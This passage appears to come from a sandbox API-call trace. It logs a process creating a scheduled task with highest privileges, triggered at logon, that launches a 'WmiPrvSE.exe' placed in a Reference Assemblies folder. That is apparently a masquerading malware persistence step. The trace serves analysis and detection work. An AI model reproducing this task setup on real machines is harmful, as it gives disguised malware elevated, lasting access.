(dwErrCode=0x490) [0088.395] lstrlenW (lpString="k") returned 1 [0088.395] lstrlenW (lpString="k") returned 1 [0088.395] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.395] lstrlenW (lpString="f") returned 1 [0088.395] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.395] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|k|") returned 3 [0088.395] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.395] lstrlenW (lpString="|k|") returned 3 [0088.395] lstrlenW (lpString="|f|") returned 3 [0088.395] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0088.395] SetLastError (dwErrCode=0x490) [0088.395] lstrlenW (lpString="du") returned 2 [0088.395] lstrlenW (lpString="du") returned 2 [0088.395] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.396] lstrlenW (lpString="f") returned 1 [0088.396] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.396] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|du|") returned 4 [0088.396] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.396] lstrlenW (lpString="|du|") returned 4 [0088.396] lstrlenW (lpString="|f|") returned 3 [0088.396] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0088.396] SetLastError (dwErrCode=0x490) [0088.396] lstrlenW (lpString="ri") returned 2 [0088.396] lstrlenW (lpString="ri") returned 2 [0088.396] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.396] lstrlenW (lpString="f") returned 1 [0088.396] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.396] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|ri|") returned 4 [0088.396] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.396] lstrlenW (lpString="|ri|") returned 4 [0088.396] lstrlenW (lpString="|f|") returned 3 [0088.396] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0088.396] SetLastError (dwErrCode=0x490) [0088.396] lstrlenW (lpString="z") returned 1 [0088.396] lstrlenW (lpString="z") returned 1 [0088.396] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.396] lstrlenW (lpString="f") returned 1 [0088.396] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.396] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|z|") returned 3 [0088.396] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.396] lstrlenW (lpString="|z|") returned 3 [0088.396] lstrlenW (lpString="|f|") returned 3 [0088.396] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0088.396] SetLastError (dwErrCode=0x490) [0088.396] lstrlenW (lpString="f") returned 1 [0088.397] lstrlenW (lpString="f") returned 1 [0088.397] _memicmp (_Buf1=0x10c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.397] lstrlenW (lpString="f") returned 1 [0088.397] _memicmp (_Buf1=0x10c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.397] _vsnwprintf (in: _Buffer=0x10c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.397] _vsnwprintf (in: _Buffer=0x10c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c168 | out: _Buffer="|f|") returned 3 [0088.397] lstrlenW (lpString="|f|") returned 3 [0088.397] lstrlenW (lpString="|f|") returned 3 [0088.397] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0088.397] SetLastError (dwErrCode=0x0) [0088.397] SetLastError (dwErrCode=0x0) [0088.397] GetProcessHeap () returned 0xf0000 [0088.397] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ceb0 [0088.397] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.397] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0088.397] lstrlenW (lpString="LIMITED") returned 7 [0088.397] GetProcessHeap () returned 0xf0000 [0088.397] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x10) returned 0x10d700 [0088.397] GetThreadLocale () returned 0x409 [0088.397] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0088.397] GetProcessHeap () returned 0xf0000 [0088.397] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ce80 [0088.397] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.397] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0088.397] lstrlenW (lpString="HIGHEST") returned 7 [0088.397] GetProcessHeap () returned 0xf0000 [0088.397] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x10) returned 0x10d720 [0088.397] GetThreadLocale () returned 0x409 [0088.397] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0088.398] GetProcessHeap () returned 0xf0000 [0088.398] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ce50 [0088.398] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.398] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0088.398] lstrlenW (lpString="MINUTE") returned 6 [0088.398] GetProcessHeap () returned 0xf0000 [0088.398] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xe) returned 0x10d740 [0088.398] GetThreadLocale () returned 0x409 [0088.398] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0088.398] GetProcessHeap () returned 0xf0000 [0088.398] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10ce20 [0088.398] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.398] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0088.398] lstrlenW (lpString="HOURLY") returned 6 [0088.398] GetProcessHeap () returned 0xf0000 [0088.398] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xe) returned 0x10d760 [0088.398] GetThreadLocale () returned 0x409 [0088.398] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0088.398] GetProcessHeap () returned 0xf0000 [0088.398] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cdf0 [0088.398] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.398] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0088.398] lstrlenW (lpString="DAILY") returned 5 [0088.398] GetProcessHeap () returned 0xf0000 [0088.398] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xc) returned 0x10d780 [0088.398] GetThreadLocale () returned 0x409 [0088.398] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0088.398] GetProcessHeap () returned 0xf0000 [0088.398] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cdc0 [0088.398] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.399] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0088.399] lstrlenW (lpString="WEEKLY") returned 6 [0088.399] GetProcessHeap () returned 0xf0000 [0088.399] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xe) returned 0x10d7a0 [0088.399] GetThreadLocale () returned 0x409 [0088.399] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0088.399] GetProcessHeap () returned 0xf0000 [0088.399] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x20) returned 0x10cd90 [0088.399] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.399] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0088.399] lstrlenW (lpString="MONTHLY") returned 7 [0088.399] GetProcessHeap () returned 0xf0000 [0088.399] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x10) returned 0x10d7c0 [0088.399] GetThreadLocale () returned 0x409 [0088.399] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0088.399] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.399] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0088.399] lstrlenW (lpString="ONCE") returned 4 [0088.399] GetProcessHeap () returned 0xf0000 [0088.399] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xa) returned 0x10d7e0 [0088.399] GetThreadLocale () returned 0x409 [0088.399] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0088.399] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.399] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0088.399] lstrlenW (lpString="ONSTART") returned 7 [0088.399] GetThreadLocale () returned 0x409 [0088.399] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0088.399] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.399] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0088.399] lstrlenW (lpString="ONLOGON") returned 7 [0088.400] GetThreadLocale () returned 0x409 [0088.400] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0088.400] SetLastError (dwErrCode=0x0) [0088.400] GetProcessHeap () returned 0xf0000 [0088.400] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x1fc) returned 0x10c550 [0088.400] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.400] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0088.400] lstrlenW (lpString="First") returned 5 [0088.400] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.400] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0088.400] lstrlenW (lpString="Second") returned 6 [0088.400] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.400] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0088.400] lstrlenW (lpString="Third") returned 5 [0088.400] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.400] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0088.400] lstrlenW (lpString="Fourth") returned 6 [0088.400] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.400] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0088.400] lstrlenW (lpString="Last") returned 4 [0088.400] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.400] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0088.400] lstrlenW (lpString="First") returned 5 [0088.400] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.400] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0088.400] lstrlenW (lpString="Second") returned 6 [0088.401] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.401] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0088.401] lstrlenW (lpString="Third") returned 5 [0088.401] GetProcessHeap () returned 0xf0000 [0088.401] GetProcessHeap () returned 0xf0000 [0088.401] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d7e0) returned 1 [0088.401] GetProcessHeap () returned 0xf0000 [0088.401] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d7e0) returned 0xa [0088.401] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d7e0 | out: hHeap=0xf0000) returned 1 [0088.401] GetProcessHeap () returned 0xf0000 [0088.401] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0xc) returned 0x10d7e0 [0088.401] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.401] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0088.401] lstrlenW (lpString="Fourth") returned 6 [0088.401] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.401] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0088.401] lstrlenW (lpString="Last") returned 4 [0088.401] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x29bfe0, cchData=128 | out: lpLCData="0") returned 2 [0088.401] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.401] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0088.401] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0088.401] GetProcessHeap () returned 0xf0000 [0088.401] GetProcessHeap () returned 0xf0000 [0088.401] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d700) returned 1 [0088.401] GetProcessHeap () returned 0xf0000 [0088.401] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d700) returned 0x10 [0088.401] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d700 | out: hHeap=0xf0000) returned 1 [0088.401] GetProcessHeap () returned 0xf0000 [0088.401] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x16) returned 0x10d700 [0088.402] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x29c000, cchData=128 | out: lpLCData="0") returned 2 [0088.402] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.402] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0088.402] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0088.402] GetProcessHeap () returned 0xf0000 [0088.402] GetProcessHeap () returned 0xf0000 [0088.402] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d720) returned 1 [0088.402] GetProcessHeap () returned 0xf0000 [0088.402] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d720) returned 0x10 [0088.402] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d720 | out: hHeap=0xf0000) returned 1 [0088.402] GetProcessHeap () returned 0xf0000 [0088.402] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x16) returned 0x10d720 [0088.402] GetLocalTime (in: lpSystemTime=0x29c230 | out: lpSystemTime=0x29c230*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xc, wMilliseconds=0x2fe)) [0088.402] GetLocalTime (in: lpSystemTime=0x29cae8 | out: lpSystemTime=0x29cae8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xc, wMilliseconds=0x2fe)) [0088.402] lstrlenW (lpString="") returned 0 [0088.402] lstrlenW (lpString="") returned 0 [0088.402] lstrlenW (lpString="") returned 0 [0088.402] lstrlenW (lpString="") returned 0 [0088.402] lstrlenW (lpString="") returned 0 [0088.402] lstrlenW (lpString="") returned 0 [0088.402] lstrlenW (lpString="") returned 0 [0088.402] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0088.419] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0088.487] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x29c8b0 | out: ppv=0x29c8b0*=0x32dee0) returned 0x0 [0088.497] TaskScheduler:ITaskService:Connect (This=0x32dee0, serverName=0x29c990*(varType=0x8, wReserved1=0x29, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x29c950*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x29c970*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x29c930*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0088.591] TaskScheduler:IUnknown:AddRef (This=0x32dee0) returned 0x2 [0088.591] TaskScheduler:ITaskService:GetFolder (in: This=0x32dee0, Path=0x0, ppFolder=0x29ca48 | out: ppFolder=0x29ca48*=0x317e10) returned 0x0 [0088.622] TaskScheduler:ITaskService:NewTask (in: This=0x32dee0, flags=0x0, ppDefinition=0x29ca40 | out: ppDefinition=0x29ca40*=0x317e60) returned 0x0 [0088.623] ITaskDefinition:get_Actions (in: This=0x317e60, ppActions=0x29c9c0 | out: ppActions=0x29c9c0*=0x317f20) returned 0x0 [0088.623] IActionCollection:Create (in: This=0x317f20, Type=0, ppAction=0x29c9e0 | out: ppAction=0x29c9e0*=0x316770) returned 0x0 [0088.623] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.623] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.623] lstrlenW (lpString=" ") returned 1 [0088.623] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0088.623] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0088.623] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0088.624] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0088.624] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0088.624] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.625] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0088.625] IUnknown:Release (This=0x316770) returned 0x1 [0088.625] IUnknown:Release (This=0x317f20) returned 0x1 [0088.625] ITaskDefinition:get_Triggers (in: This=0x317e60, ppTriggers=0x29c540 | out: ppTriggers=0x29c540*=0x3164e0) returned 0x0 [0088.625] ITriggerCollection:Create (in: This=0x3164e0, Type=9, ppTrigger=0x29c538 | out: ppTrigger=0x29c538*=0x3167e0) returned 0x0 [0088.626] IUnknown:QueryInterface (in: This=0x3167e0, riid=0xff901c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x29c530 | out: ppvObject=0x29c530*=0x3167e0) returned 0x0 [0088.626] IUnknown:Release (This=0x3167e0) returned 0x2 [0088.626] _vsnwprintf (in: _Buffer=0x29c480, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x29c458 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0088.626] ITrigger:put_StartBoundary (This=0x3167e0, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0088.626] lstrlenW (lpString="") returned 0 [0088.626] lstrlenW (lpString="") returned 0 [0088.626] lstrlenW (lpString="") returned 0 [0088.626] lstrlenW (lpString="") returned 0 [0088.626] IUnknown:Release (This=0x3167e0) returned 0x1 [0088.626] IUnknown:Release (This=0x3164e0) returned 0x1 [0088.626] ITaskDefinition:get_Settings (in: This=0x317e60, ppSettings=0x29c9e0 | out: ppSettings=0x29c9e0*=0x316550) returned 0x0 [0088.626] lstrlenW (lpString="") returned 0 [0088.626] IUnknown:Release (This=0x316550) returned 0x1 [0088.626] GetLocalTime (in: lpSystemTime=0x29c898 | out: lpSystemTime=0x29c898*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xc, wMilliseconds=0x3d8)) [0088.626] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0088.627] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0088.627] GetUserNameW (in: lpBuffer=0x29c8c0, pcbBuffer=0x29c8a8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x29c8a8) returned 1 [0088.627] ITaskDefinition:get_RegistrationInfo (in: This=0x317e60, ppRegistrationInfo=0x29c890 | out: ppRegistrationInfo=0x29c890*=0x316420) returned 0x0 [0088.627] IRegistrationInfo:put_Author (This=0x316420, Author="") returned 0x0 [0088.627] _vsnwprintf (in: _Buffer=0x29c8c0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x29c858 | out: _Buffer="2023-09-19T17:17:12") returned 19 [0088.628] IRegistrationInfo:put_Date (This=0x316420, Date="") returned 0x0 [0088.628] IUnknown:Release (This=0x316420) returned 0x1 [0088.628] malloc (_Size=0x18) returned 0x3168d0 [0088.628] free (_Block=0x3168d0) [0088.628] lstrlenW (lpString="") returned 0 [0088.628] ITaskDefinition:get_Principal (in: This=0x317e60, 